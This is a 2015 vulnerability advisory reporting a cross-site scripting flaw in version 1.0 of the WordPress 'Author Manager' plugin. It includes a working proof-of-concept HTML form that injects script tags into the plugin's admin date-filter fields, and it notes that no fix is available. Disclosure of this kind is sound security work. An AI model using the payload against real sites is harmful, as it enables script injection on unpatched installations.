WordPress Author Manager 1.0 Cross Site Scripting
Posted on 03 August 2015
Title: WordPress 'Author Manager' Plugin Version: 1.0 Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-16 Download: - https://wordpress.org/plugins/author-manager/ - https://plugins.svn.wordpress.org/author-manager/ Notified Vendor/WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== Author Manager is a must-have for administrators of a multiple-author WordPress site. Easily view post statistics by date. ## Vulnerabilities ========================================================== Some of the fields in the admin panel is vulnerable to XSS. PoC: Log in as admin and submit the following form: <form method="POST" action="[URL]/wp-admin/users.php?page=author-manager%2Fauthor_manager.php"> <input type="text" name="am-filter-type" value="am-date-filter" readonly><br /> <input type="text" name="am-start-date" value="'><script>alert(1)</script>"><br /> <input type="text" name="am-end-date" value="'><script>alert(2)</script>"><br /> <input type="submit"> </form> ## Solution ========================================================== No fix available ========================================================== Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
